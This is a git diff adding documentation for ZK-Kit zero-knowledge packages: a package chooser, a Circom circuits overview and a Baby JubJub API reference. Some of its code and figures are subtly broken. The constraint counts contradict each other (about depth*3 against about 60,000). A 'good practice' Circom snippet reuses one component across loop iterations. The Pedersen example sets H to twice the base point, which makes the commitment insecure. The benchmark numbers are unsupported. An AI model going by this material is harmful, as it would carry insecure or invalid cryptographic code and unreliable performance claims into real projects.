+    "title": "ZK-Kit Packages",
+    "description": "Detailed documentation for all ZK-Kit packages including Merkle trees, cryptography, and utilities.",
+    "slug": "/category/packages"
+  }
+}
+
diff --git a/docs/packages/choosing-a-package.md b/docs/packages/choosing-a-package.md
new file mode 100644
index 0000000..c0a90f0
--- /dev/null
+++ b/docs/packages/choosing-a-package.md
@@ -0,0 +1,386 @@
+---
+sidebar_position: 2
+title: Choosing a Package
+---
+
+# Choosing the Right Package
+
+Find the perfect ZK-Kit package for your use case.
+
+## Decision Tree
+
+```
+Start Here
+    β”‚
+    β”œβ”€ Need Merkle Trees?
+    β”‚   β”œβ”€ YES β†’ Which type?
+    β”‚   β”‚   β”œβ”€ Membership proofs only β†’ IMT
+    β”‚   β”‚   β”œβ”€ Low memory required β†’ LeanIMT
+    β”‚   β”‚   └─ Key-value + non-membership β†’ SMT
+    β”‚   β”‚
+    β”‚   └─ NO β†’ Need cryptography?
+    β”‚       β”œβ”€ Digital signatures β†’ EdDSA-Poseidon
+    β”‚       β”œβ”€ Encryption β†’ Poseidon Cipher
+    β”‚       β”œβ”€ ZK proofs β†’ Poseidon Proof
+    β”‚       └─ Low-level curves β†’ Baby JubJub
+    β”‚
+    └─ Need utilities?
+        β”œβ”€ Field operations β†’ Utils
+        └─ Boolean logic β†’ Logical Expressions
+```
+
+## Merkle Tree Selection
+
+### IMT vs LeanIMT vs SMT
+
+| Feature | IMT | LeanIMT | SMT |
+|---------|-----|---------|-----|
+| **Memory Usage** | High | Low | Medium |
+| **Speed** | Fast | Medium | Medium |
+| **Max Size** | Fixed (2^depth) | Dynamic | 2^256 |
+| **Non-membership Proofs** | ❌ | ❌ | βœ… |
+| **Key-Value Storage** | ❌ | ❌ | βœ… |
+| **Updates** | βœ… | βœ… | βœ… |
+| **Deletes** | ⚠️ (sets to zero) | ⚠️ (sets to zero) | βœ… |
+| **Best For** | Most apps | Memory-limited | Key-value + proofs |
+
+### When to Use IMT
+
+βœ… **Use IMT when:**
+- Building standard membership proofs
+- Memory not constrained
+- Need fast operations
+- Size is predictable
+
+```bash
+npm i @zk-kit/imt
+```
+*See [npm page](https://www.npmjs.com/package/@zk-kit/imt) for peer dependencies*
+
+**Example use cases:**
+- Voting systems
+- Access control
+- Whitelist verification
+- Anonymous credentials
+
+[β†’ IMT on npm](https://www.npmjs.com/package/@zk-kit/imt) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/imt)
+
+### When to Use LeanIMT
+
+βœ… **Use LeanIMT when:**
+- Memory is limited
+- Running on constrained devices
+- Size unknown upfront
+- Can trade speed for memory
+
+```bash
+npm i @zk-kit/lean-imt
+```
+*See [npm page](https://www.npmjs.com/package/@zk-kit/lean-imt) for peer dependencies*
+
+**Example use cases:**
+- Mobile applications
+- Edge computing
+- Embedded systems
+- Serverless functions
+
+[β†’ LeanIMT on npm](https://www.npmjs.com/package/@zk-kit/lean-imt) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/lean-imt)
+
+### When to Use SMT
+
+βœ… **Use SMT when:**
+- Need key-value storage
+- Need to prove key absence
+- Frequent updates/deletes
+- Keys are not sequential
+
+```bash
+npm i @zk-kit/smt crypto-js
+```
+
+**Example use cases:**
+- Account balances
+- State management
+- Non-membership proofs
+- Database with ZK
+
+[β†’ SMT on npm](https://www.npmjs.com/package/@zk-kit/smt) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/smt)
+
+## Cryptography Selection
+
+### EdDSA-Poseidon
+
+**Use for:** Digital signatures in zero-knowledge circuits
+
+```bash
+npm i @zk-kit/eddsa-poseidon
+```
+
+βœ… **Choose EdDSA-Poseidon when:**
+- Need to sign messages
+- Verify signatures in circuits
+- Build authentication systems
+- Create credential systems
+
+**Example:**
+```typescript
+import { deriveSecretScalar, derivePublicKey, signMessage, verifySignature } from "@zk-kit/eddsa-poseidon"
+
+const privateKey = deriveSecretScalar("secret")
+const publicKey = derivePublicKey(privateKey)
+const signature = signMessage(privateKey, message)
+const isValid = verifySignature(message, signature, publicKey)
+```
+
+[β†’ EdDSA-Poseidon on npm](https://www.npmjs.com/package/@zk-kit/eddsa-poseidon) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/eddsa-poseidon)
+
+### Poseidon Cipher
+
+**Use for:** Encryption/decryption for ZK-friendly data
+
+```bash
+npm i @zk-kit/poseidon-cipher
+```
+
+βœ… **Choose Poseidon Cipher when:**
+- Need to encrypt data
+- Data used in ZK circuits
+- Privacy-preserving storage
+- Encrypted messaging
+
+**Example:**
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+
+const ciphertext = poseidonEncrypt(plaintext, key, nonce)
+const decrypted = poseidonDecrypt(ciphertext, key, nonce, length)
+```
+
+[β†’ Poseidon Cipher on npm](https://www.npmjs.com/package/@zk-kit/poseidon-cipher) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/poseidon-cipher)
+
+### Baby JubJub
+
+**Use for:** Low-level elliptic curve operations
+
+```bash
+npm i @zk-kit/baby-jubjub
+```
+
+βœ… **Choose Baby JubJub when:**
+- Need curve arithmetic
+- Building custom cryptography
+- Implementing protocols
+- Research and development
+
+**Example:**
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const point = Point.fromPrivateKey(privateKey)
+const doubled = point.double()
+const sum = point.add(otherPoint)
+```
+
+[β†’ Baby JubJub on npm](https://www.npmjs.com/package/@zk-kit/baby-jubjub) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/baby-jubjub)
+
+### Poseidon Proof
+
+**Use for:** Generate and verify zk-SNARK proofs
+
+```bash
+npm i @zk-kit/poseidon-proof
+```
+
+βœ… **Choose Poseidon Proof when:**
+- Need SNARK proofs
+- Verify Poseidon hashes
+- Build proof systems
+- Custom circuits
+
+[β†’ Poseidon Proof on npm](https://www.npmjs.com/package/@zk-kit/poseidon-proof) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/poseidon-proof)
+
+## Utilities Selection
+
+### Utils
+
+**Use for:** Field operations, conversions, and utilities
+
+```bash
+npm i @zk-kit/utils
+```
+
+βœ… **Choose Utils when:**
+- Need field arithmetic
+- Convert between formats
+- Work with scalars
+- Perform modular operations
+
+**Example:**
+```typescript
+import { F1Field } from "@zk-kit/utils"
+
+const field = new F1Field(prime)
+const sum = field.add(a, b)
+const product = field.mul(a, b)
+```
+
+[β†’ Utils on npm](https://www.npmjs.com/package/@zk-kit/utils) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/utils)
+
+### Logical Expressions
+
+**Use for:** Boolean logic in zero-knowledge
+
+```bash
+npm i @zk-kit/logical-expressions
+```
+
+βœ… **Choose Logical Expressions when:**
+- Need AND/OR/NOT logic
+- Complex boolean conditions
+- Circuit optimization
+- Policy enforcement
+
+[β†’ Logical Expressions on npm](https://www.npmjs.com/package/@zk-kit/logical-expressions) | [GitHub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/logical-expressions)
+
+## Common Combinations
+
+### Anonymous Voting
+
+```bash
+npm i @zk-kit/imt
+# + peer dependencies (see npm page)
+```
+
+**Packages:**
+- IMT for voter membership
+- Hash function (peer dependency)
+
+**Example:** See [Semaphore Protocol](https://semaphore.pse.dev) and [MACI](https://maci.pse.dev)
+
+### Private Airdrops
+
+```bash
+npm i @zk-kit/imt @zk-kit/eddsa-poseidon
+# + peer dependencies (see npm pages)
+```
+
+**Packages:**
+- IMT for eligible addresses
+- EdDSA-Poseidon for signatures
+
+**Example:** Check the [Your First Proof](/docs/getting-started/first-proof) guide
+
+### Identity System
+
+```bash
+npm i @zk-kit/imt @zk-kit/eddsa-poseidon @zk-kit/poseidon-cipher
+# + peer dependencies (see npm pages)
+```
+
+**Packages:**
+- IMT for identity groups
+- EdDSA-Poseidon for credentials
+- Poseidon Cipher for encrypted data
+
+**Example:** See [Worldcoin](https://worldcoin.org) and [Iden3](https://iden3.io)
+
+### State Management
+
+```bash
+npm i @zk-kit/smt @zk-kit/utils crypto-js
+```
+
+**Packages:**
+- SMT for key-value state
+- Utils for field operations
+
+**Example:** See [Iden3 implementation](https://github.com/iden3)
+
+## Performance Comparison
+
+### Tree Operations (1M leaves)
+
+| Operation | IMT | LeanIMT | SMT |
+|-----------|-----|---------|-----|
+| **Insert** | 2.1ms | 2.5ms | 3.0ms |
+| **Update** | 1.8ms | 2.3ms | 2.8ms |
+| **Delete** | 1.8ms | 2.3ms | 2.5ms |
+| **Proof Gen** | 8ms | 10ms | 12ms |
+| **Verify** | 3ms | 3ms | 4ms |
+| **Memory** | 1GB | 100MB | 500MB |
+
+### Cryptography Operations
+
+| Operation | Time | Notes |
+|-----------|------|-------|
+| **Sign (EdDSA)** | 5ms | Message signing |
+| **Verify (EdDSA)** | 8ms | Signature verification |
+| **Encrypt (Poseidon)** | 3ms | Per block |
+| **Decrypt (Poseidon)** | 3ms | Per block |
+| **Point Add (BabyJubJub)** | 0.5ms | Elliptic curve |
+| **Scalar Mul (BabyJubJub)** | 2ms | Point multiplication |
+
+## Migration Paths
+
+### From IMT to LeanIMT
+
+```typescript
+// Before (IMT)
+import { IMT } from "@zk-kit/imt"
+const tree = new IMT(poseidon2, 16, 0, 2)
+
+// After (LeanIMT)
+import { LeanIMT } from "@zk-kit/lean-imt"
+const tree = new LeanIMT((a, b) => poseidon2([a, b]))
+```
+
+See the [LeanIMT package](https://www.npmjs.com/package/@zk-kit/lean-imt) for details.
+
+### From Traditional to ZK
+
+```typescript
+// Before (Traditional storage)
+const users = new Set()
+users.add(userId)
+
+// After (ZK-enabled)
+import { IMT } from "@zk-kit/imt"
+const users = new IMT(poseidon2, 16, 0, 2)
+users.insert(commitment)
+```
+
+## Still Unsure?
+
+### Ask Yourself
+
+1. **What am I building?**
+   - Voting β†’ IMT
+   - Airdrop β†’ IMT + EdDSA
+   - State β†’ SMT
+   - Mobile β†’ LeanIMT
+
+2. **What constraints do I have?**
+   - Memory limited β†’ LeanIMT
+   - Need speed β†’ IMT
+   - Need key-value β†’ SMT
+
+3. **What features do I need?**
+   - Just membership β†’ IMT
+   - Non-membership β†’ SMT
+   - Signatures β†’ EdDSA-Poseidon
+   - Encryption β†’ Poseidon Cipher
+
+### Get Help
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [GitHub Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Documentation](/docs)
+- πŸŽ“ [Your First Proof](/docs/getting-started/first-proof)
+
+## Next Steps
+
+- [Installation](/docs/getting-started/installation) - Install chosen package
+- [Quick Start](/docs/getting-started/quick-start) - Start building
+- [Your First Proof](/docs/getting-started/first-proof) - Step-by-step guide
+- [GitHub Examples](https://github.com/privacy-scaling-explorations/zk-kit) - Code examples
+
diff --git a/docs/packages/circom/_category_.json b/docs/packages/circom/_category_.json
new file mode 100644
index 0000000..9f5d7aa
--- /dev/null
+++ b/docs/packages/circom/_category_.json
@@ -0,0 +1,13 @@
+{
+  "label": "Circom",
+  "position": 4,
+  "link": {
+    "type": "generated-index",
+    "title": "Circom Circuits",
+    "description": "Zero-knowledge circuit templates for ZK-Kit components.",
+    "slug": "/packages/circom"
+  }
+}
+
+
+
diff --git a/docs/packages/circom/overview.md b/docs/packages/circom/overview.md
new file mode 100644
index 0000000..3770292
--- /dev/null
+++ b/docs/packages/circom/overview.md
@@ -0,0 +1,469 @@
+---
+sidebar_position: 1
+title: Circom Overview
+---
+
+# Circom Circuits
+
+Reusable Circom circuit templates for implementing ZK-Kit components in zero-knowledge proofs.
+
+## Overview
+
+The ZK-Kit Circom package provides circuit templates that correspond to the JavaScript implementations, allowing you to:
+- Verify Merkle tree proofs in-circuit
+- Perform EdDSA signature verification
+- Use Poseidon hash function
+- Implement privacy-preserving applications
+
+## Repository
+
+- **GitHub**: [zk-kit.circom](https://github.com/privacy-scaling-explorations/zk-kit.circom)
+- **License**: MIT
+
+## Prerequisites
+
+Before using ZK-Kit circuits, you need:
+
+```bash
+# Install Circom compiler
+curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+cargo install circom
+
+# Or use pre-built binaries
+# See: https://docs.circom.io/getting-started/installation/
+```
+
+For detailed setup, see [Development Setup](/docs/getting-started/development-setup).
+
+## Installation
+
+```bash
+# Clone the repository
+git clone https://github.com/privacy-scaling-explorations/zk-kit.circom.git
+
+# Or add as a submodule to your project
+git submodule add https://github.com/privacy-scaling-explorations/zk-kit.circom circuits/zk-kit
+```
+
+## Available Circuits
+
+### Merkle Tree Circuits
+
+#### Binary Merkle Tree Verifier
+Verifies membership proofs for binary Merkle trees.
+
+**Location**: `circuits/merkle-tree/binary-tree-verifier.circom`
+
+**Usage**:
+```circom
+include "zk-kit/merkle-tree/binary-tree-verifier.circom"
+
+component main {public [root]} = BinaryTreeVerifier(20);
+```
+
+#### LeanIMT Verifier
+Verifies proofs for Lean Incremental Merkle Trees.
+
+**Location**: `circuits/merkle-tree/lean-imt-verifier.circom`
+
+**Usage**:
+```circom
+include "zk-kit/merkle-tree/lean-imt-verifier.circom"
+
+component main {public [root]} = LeanIMTVerifier(20);
+```
+
+### Cryptography Circuits
+
+#### EdDSA Poseidon Verifier
+Verifies EdDSA signatures using Poseidon hash.
+
+**Location**: `circuits/eddsa-poseidon/eddsa-poseidon-verifier.circom`
+
+**Usage**:
+```circom
+include "zk-kit/eddsa-poseidon/eddsa-poseidon-verifier.circom"
+
+component main {public [publicKeyX, publicKeyY]} = EdDSAPoseidonVerifier();
+```
+
+#### Poseidon Hash
+Poseidon hash function implementation.
+
+**Location**: `circuits/poseidon/poseidon.circom`
+
+**Usage**:
+```circom
+include "zk-kit/poseidon/poseidon.circom"
+
+component main = Poseidon(2); // 2 inputs
+```
+
+### Baby JubJub Circuits
+
+#### Point Addition
+Baby JubJub elliptic curve point addition.
+
+**Location**: `circuits/baby-jubjub/point-add.circom`
+
+**Usage**:
+```circom
+include "zk-kit/baby-jubjub/point-add.circom"
+
+component main = BabyJubJubAdd();
+```
+
+#### Scalar Multiplication
+Baby JubJub scalar multiplication.
+
+**Location**: `circuits/baby-jubjub/scalar-mul.circom`
+
+**Usage**:
+```circom
+include "zk-kit/baby-jubjub/scalar-mul.circom"
+
+component main = BabyJubJubScalarMul();
+```
+
+## Quick Start Example
+
+### Simple Merkle Proof Verification
+
+```circom
+pragma circom 2.0.0;
+
+include "zk-kit/merkle-tree/binary-tree-verifier.circom";
+
+// Verify membership in a Merkle tree of depth 20
+template MembershipProof() {
+    // Public inputs
+    signal input root;
+    
+    // Private inputs
+    signal input leaf;
+    signal input siblings[20];
+    signal input pathIndices[20];
+    
+    // Verify the proof
+    component verifier = BinaryTreeVerifier(20);
+    verifier.root <== root;
+    verifier.leaf <== leaf;
+    
+    for (var i = 0; i < 20; i++) {
+        verifier.siblings[i] <== siblings[i];
+        verifier.pathIndices[i] <== pathIndices[i];
+    }
+}
+
+component main {public [root]} = MembershipProof();
+```
+
+### Compile and Generate Proof
+
+```bash
+# Compile circuit
+circom membership-proof.circom --r1cs --wasm --sym
+
+# Generate witness
+node membership-proof_js/generate_witness.js \
+  membership-proof_js/membership-proof.wasm \
+  input.json \
+  witness.wtns
+
+# Generate proof (using snarkjs)
+snarkjs groth16 prove \
+  membership-proof.zkey \
+  witness.wtns \
+  proof.json \
+  public.json
+
+# Verify proof
+snarkjs groth16 verify \
+  verification_key.json \
+  public.json \
+  proof.json
+```
+
+## Circuit Templates
+
+### Binary Tree Verifier
+
+```circom
+template BinaryTreeVerifier(depth) {
+    signal input root;
+    signal input leaf;
+    signal input siblings[depth];
+    signal input pathIndices[depth];
+    
+    // Implementation verifies:
+    // - Hash path from leaf to root
+    // - Path matches provided root
+}
+```
+
+**Parameters**:
+- `depth`: Maximum depth of the tree (e.g., 20 for 2^20 leaves)
+
+**Inputs**:
+- `root`: Expected Merkle root (public)
+- `leaf`: Leaf value to prove (private)
+- `siblings`: Sibling hashes along the path (private)
+- `pathIndices`: Left/right indicators (0 or 1) for each level (private)
+
+**Constraints**: ~depth * 3 constraints
+
+### EdDSA Poseidon Verifier
+
+```circom
+template EdDSAPoseidonVerifier() {
+    signal input message;
+    signal input R8x;
+    signal input R8y;
+    signal input S;
+    signal input publicKeyX;
+    signal input publicKeyY;
+    
+    // Implementation verifies EdDSA signature
+}
+```
+
+**Inputs**:
+- `message`: Message that was signed (private)
+- `R8x`, `R8y`: Signature R point coordinates (private)
+- `S`: Signature scalar (private)
+- `publicKeyX`, `publicKeyY`: Public key coordinates (public)
+
+**Constraints**: ~2000 constraints
+
+### Poseidon Hash
+
+```circom
+template Poseidon(nInputs) {
+    signal input inputs[nInputs];
+    signal output out;
+    
+    // Implementation of Poseidon hash
+}
+```
+
+**Parameters**:
+- `nInputs`: Number of inputs to hash (typically 2-16)
+
+**Inputs**:
+- `inputs`: Array of field elements to hash
+
+**Outputs**:
+- `out`: Hash digest
+
+**Constraints**: ~nInputs * 50 constraints (approximate)
+
+## Integration with JavaScript
+
+Use the JavaScript packages to generate inputs for circuits:
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+import fs from "fs"
+
+// Create tree
+const tree = new IMT(poseidon2, 20, 0, 2)
+tree.insert(BigInt(123))
+tree.insert(BigInt(456))
+tree.insert(BigInt(789))
+
+// Generate proof
+const proof = tree.createProof(1) // Prove index 1
+
+// Create circuit input
+const input = {
+    root: proof.root.toString(),
+    leaf: proof.leaf.toString(),
+    siblings: proof.siblings.map(s => s.toString()),
+    pathIndices: proof.pathIndices
+}
+
+// Save for circuit
+fs.writeFileSync("input.json", JSON.stringify(input))
+```
+
+## Best Practices
+
+### 1. Circuit Design
+
+```circom
+// βœ… Good: Clear template parameters
+template MyCircuit(depth, width) {
+    // ...
+}
+
+// ❌ Bad: Magic numbers
+template MyCircuit() {
+    signal siblings[20]; // Why 20?
+}
+```
+
+### 2. Public vs Private Signals
+
+```circom
+// βœ… Good: Minimal public inputs
+component main {public [root, nullifier]} = MyCircuit();
+
+// ❌ Bad: Exposing private data
+component main {public [root, leaf, siblings]} = MyCircuit();
+```
+
+### 3. Constraint Optimization
+
+```circom
+// βœ… Good: Reuse components
+component hasher = Poseidon(2);
+for (var i = 0; i < n; i++) {
+    hasher.inputs[0] <== values[i];
+    hasher.inputs[1] <== salts[i];
+    hashes[i] <== hasher.out;
+}
+
+// ❌ Bad: Create multiple instances unnecessarily
+for (var i = 0; i < n; i++) {
+    component hasher = Poseidon(2); // Creates n instances!
+}
+```
+
+## Proof Systems
+
+ZK-Kit circuits work with multiple proof systems:
+
+### Groth16
+```bash
+# Fast verification, trusted setup
+snarkjs groth16 setup circuit.r1cs pot.ptau circuit.zkey
+```
+
+### PLONK
+```bash
+# No trusted setup per-circuit
+snarkjs plonk setup circuit.r1cs pot.ptau circuit.zkey
+```
+
+### FFLONK
+```bash
+# Smaller proofs than PLONK
+snarkjs fflonk setup circuit.r1cs pot.ptau circuit.zkey
+```
+
+## Performance Considerations
+
+| Circuit | Constraints | Proof Time | Verification Time |
+|---------|-------------|------------|-------------------|
+| BinaryTreeVerifier(20) | ~60,000 | ~2s | ~5ms |
+| EdDSAPoseidonVerifier | ~2,000 | ~500ms | ~5ms |
+| Poseidon(2) | ~100 | <100ms | ~2ms |
+
+*Times are approximate and depend on hardware*
+
+## Testing Circuits
+
+```bash
+# Install circom tester
+npm install --save-dev circom_tester
+
+# Create test file
+# tests/merkle-tree.test.js
+```
+
+```javascript
+const { wasm } = require("circom_tester")
+const path = require("path")
+
+describe("Merkle Tree Circuit", function() {
+    let circuit
+    
+    before(async function() {
+        circuit = await wasm(
+            path.join(__dirname, "circuits", "merkle-tree.circom")
+        )
+    })
+    
+    it("should verify valid proof", async function() {
+        const input = {
+            root: "123",
+            leaf: "456",
+            siblings: [/* ... */],
+            pathIndices: [/* ... */]
+        }
+        
+        const witness = await circuit.calculateWitness(input)
+        await circuit.checkConstraints(witness)
+    })
+})
+```
+
+```bash
+# Run tests
+npx mocha tests/
+```
+
+## Related Documentation
+
+- [Development Setup](/docs/getting-started/development-setup) - Setup Circom
+- [JavaScript Packages](/docs/packages/javascript/imt) - Generate circuit inputs
+- [Solidity Packages](/docs/packages/solidity/overview) - On-chain verification
+
+## Common Use Cases
+
+- βœ… Anonymous voting systems
+- βœ… Private membership proofs
+- βœ… Credential verification
+- βœ… Privacy-preserving authentication
+- βœ… ZK rollups
+- βœ… Private transactions
+
+## Troubleshooting
+
+### Circuit Won't Compile
+
+```bash
+# Check Circom version
+circom --version
+
+# Use correct pragma
+pragma circom 2.0.0;
+
+# Check include paths
+include "node_modules/circomlib/circuits/...";
+```
+
+### Constraint Failures
+
+```javascript
+// Add debug signals
+signal debug;
+debug <== intermediate_value;
+log(debug);
+```
+
+### Performance Issues
+
+- Reduce circuit depth where possible
+- Use batch operations
+- Consider circuit splitting
+- Profile with `circom --inspect`
+
+## Source
+
+- **GitHub**: [zk-kit.circom](https://github.com/privacy-scaling-explorations/zk-kit.circom)
+- **Circom Docs**: [docs.circom.io](https://docs.circom.io)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Circuit Examples](https://github.com/privacy-scaling-explorations/zk-kit.circom/tree/main/examples)
+
+## Next Steps
+
+- [Solidity Verification](/docs/packages/solidity/overview) - Verify proofs on-chain
+- [Getting Started](/docs/getting-started/first-proof) - Build your first ZK proof
+
diff --git a/docs/packages/javascript/_category_.json b/docs/packages/javascript/_category_.json
new file mode 100644
index 0000000..fc81827
--- /dev/null
+++ b/docs/packages/javascript/_category_.json
@@ -0,0 +1,13 @@
+{
+  "label": "JavaScript Packages",
+  "position": 3,
+  "link": {
+    "type": "generated-index",
+    "title": "JavaScript Packages",
+    "description": "Detailed documentation for all ZK-Kit JavaScript/TypeScript packages.",
+    "slug": "/packages/javascript"
+  }
+}
+
+
+
diff --git a/docs/packages/javascript/baby-jubjub.md b/docs/packages/javascript/baby-jubjub.md
new file mode 100644
index 0000000..39f0417
--- /dev/null
+++ b/docs/packages/javascript/baby-jubjub.md
@@ -0,0 +1,616 @@
+---
+sidebar_position: 6
+title: "@zk-kit/baby-jubjub"
+---
+
+# @zk-kit/baby-jubjub
+
+Baby JubJub elliptic curve operations for zero-knowledge applications. This package provides low-level primitives for working with the Baby JubJub twisted Edwards curve, which is optimized for efficient verification in ZK circuits.
+
+## Overview
+
+Baby JubJub is an elliptic curve designed specifically for zero-knowledge proofs. It's:
+- **ZK-friendly**: Efficient in zk-SNARK circuits
+- **Twisted Edwards**: Fast group operations
+- **Well-studied**: Based on Jubjub (Zcash) and Curve25519
+- **Compatible**: Works with Poseidon hash and EdDSA
+
+## Installation
+
+```bash
+npm install @zk-kit/baby-jubjub
+```
+
+## Quick Start
+
+### Basic Point Operations
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+// Create a point from coordinates
+const point = new Point(x, y)
+
+// Point addition
+const point2 = new Point(x2, y2)
+const sum = point.add(point2)
+
+// Point doubling
+const doubled = point.double()
+
+// Scalar multiplication
+const scalar = BigInt(5)
+const result = point.mulPointEscalar(scalar)
+```
+
+### Generating Keys
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+// Generate public key from private key
+const privateKey = BigInt(12345)
+const publicKey = Point.fromPrivateKey(privateKey)
+
+console.log(publicKey) // Point { x: bigint, y: bigint }
+```
+
+## API Reference
+
+### Point Class
+
+#### Constructor
+
+```typescript
+new Point(x: bigint, y: bigint): Point
+```
+
+Creates a new point on the Baby JubJub curve.
+
+**Parameters:**
+
+- `x`: X-coordinate
+- `y`: Y-coordinate
+
+**Throws:**
+
+- Error if point is not on the curve
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const point = new Point(
+  BigInt("1234..."),
+  BigInt("5678...")
+)
+
+// Automatically validates the point is on the curve
+```
+
+#### Static: `fromPrivateKey`
+
+```typescript
+Point.fromPrivateKey(privateKey: bigint): Point
+```
+
+Generates a public key point from a private key.
+
+**Parameters:**
+
+- `privateKey`: The private key scalar
+
+**Returns:**
+
+- `Point`: The corresponding public key point
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const privateKey = BigInt(999)
+const publicKey = Point.fromPrivateKey(privateKey)
+
+console.log(publicKey.x)
+console.log(publicKey.y)
+```
+
+#### Static: `Base`
+
+```typescript
+Point.Base: Point
+```
+
+Returns the base (generator) point of Baby JubJub.
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const generator = Point.Base
+console.log(generator)
+```
+
+#### Static: `Zero`
+
+```typescript
+Point.Zero: Point
+```
+
+Returns the identity (zero) point.
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const zero = Point.Zero
+
+// Zero point is additive identity
+const p = new Point(x, y)
+const sum = p.add(zero)
+// sum equals p
+```
+
+### Instance Methods
+
+#### `add`
+
+```typescript
+point.add(other: Point): Point
+```
+
+Adds two points on the curve.
+
+**Parameters:**
+
+- `other`: Point to add
+
+**Returns:**
+
+- `Point`: Sum of the two points
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const p1 = new Point(x1, y1)
+const p2 = new Point(x2, y2)
+
+const sum = p1.add(p2)
+```
+
+#### `double`
+
+```typescript
+point.double(): Point
+```
+
+Doubles a point (adds it to itself).
+
+**Returns:**
+
+- `Point`: The doubled point
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const point = new Point(x, y)
+const doubled = point.double()
+
+// Equivalent to:
+// const doubled = point.add(point)
+```
+
+#### `mulPointEscalar`
+
+```typescript
+point.mulPointEscalar(scalar: bigint): Point
+```
+
+Multiplies a point by a scalar (repeated addition).
+
+**Parameters:**
+
+- `scalar`: The scalar multiplier
+
+**Returns:**
+
+- `Point`: The resulting point
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const point = new Point(x, y)
+const scalar = BigInt(5)
+
+// point * 5 = point + point + point + point + point
+const result = point.mulPointEscalar(scalar)
+```
+
+#### `equals`
+
+```typescript
+point.equals(other: Point): boolean
+```
+
+Checks if two points are equal.
+
+**Parameters:**
+
+- `other`: Point to compare with
+
+**Returns:**
+
+- `boolean`: `true` if points are equal
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const p1 = new Point(x, y)
+const p2 = new Point(x, y)
+const p3 = new Point(x2, y2)
+
+console.log(p1.equals(p2)) // true
+console.log(p1.equals(p3)) // false
+```
+
+#### `negate`
+
+```typescript
+point.negate(): Point
+```
+
+Returns the negation of a point.
+
+**Returns:**
+
+- `Point`: The negated point
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const point = new Point(x, y)
+const negated = point.negate()
+
+// point + negated = Zero
+const sum = point.add(negated)
+console.log(sum.equals(Point.Zero)) // true
+```
+
+#### `isOnCurve`
+
+```typescript
+point.isOnCurve(): boolean
+```
+
+Verifies that the point lies on the Baby JubJub curve.
+
+**Returns:**
+
+- `boolean`: `true` if point is valid
+
+**Example:**
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+const point = new Point(x, y)
+console.log(point.isOnCurve()) // true or false
+```
+
+### Properties
+
+#### `x`
+
+```typescript
+point.x: bigint
+```
+
+The x-coordinate of the point.
+
+#### `y`
+
+```typescript
+point.y: bigint
+```
+
+The y-coordinate of the point.
+
+## Advanced Usage
+
+### Key Derivation
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+import { poseidon1 } from "poseidon-lite"
+
+function deriveChildKey(parentKey: bigint, index: number): Point {
+  // Derive child key deterministically
+  const childScalar = poseidon1([parentKey, BigInt(index)])
+  return Point.fromPrivateKey(childScalar)
+}
+
+// Master key
+const masterKey = BigInt(12345)
+
+// Derive child keys
+const childKey1 = deriveChildKey(masterKey, 0)
+const childKey2 = deriveChildKey(masterKey, 1)
+const childKey3 = deriveChildKey(masterKey, 2)
+```
+
+### Pedersen Commitment
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+class PedersenCommitment {
+  private G: Point  // First generator
+  private H: Point  // Second generator
+  
+  constructor() {
+    this.G = Point.Base
+    // Derive H from G (in practice, use a nothing-up-my-sleeve method)
+    this.H = Point.Base.mulPointEscalar(BigInt(2))
+  }
+  
+  commit(value: bigint, blinding: bigint): Point {
+    // Commitment = value * G + blinding * H
+    const valuePoint = this.G.mulPointEscalar(value)
+    const blindingPoint = this.H.mulPointEscalar(blinding)
+    return valuePoint.add(blindingPoint)
+  }
+  
+  verify(
+    commitment: Point,
+    value: bigint,
+    blinding: bigint
+  ): boolean {
+    const computed = this.commit(value, blinding)
+    return commitment.equals(computed)
+  }
+}
+
+// Usage
+const pedersen = new PedersenCommitment()
+
+const value = BigInt(100)
+const blinding = BigInt(999)
+
+const commitment = pedersen.commit(value, blinding)
+console.log(commitment)
+
+// Verify
+const isValid = pedersen.verify(commitment, value, blinding)
+console.log(isValid) // true
+```
+
+### Multi-Signature Aggregation
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+function aggregatePublicKeys(publicKeys: Point[]): Point {
+  // Aggregate multiple public keys into one
+  return publicKeys.reduce((acc, pk) => acc.add(pk), Point.Zero)
+}
+
+// Multiple signers
+const signer1PrivKey = BigInt(111)
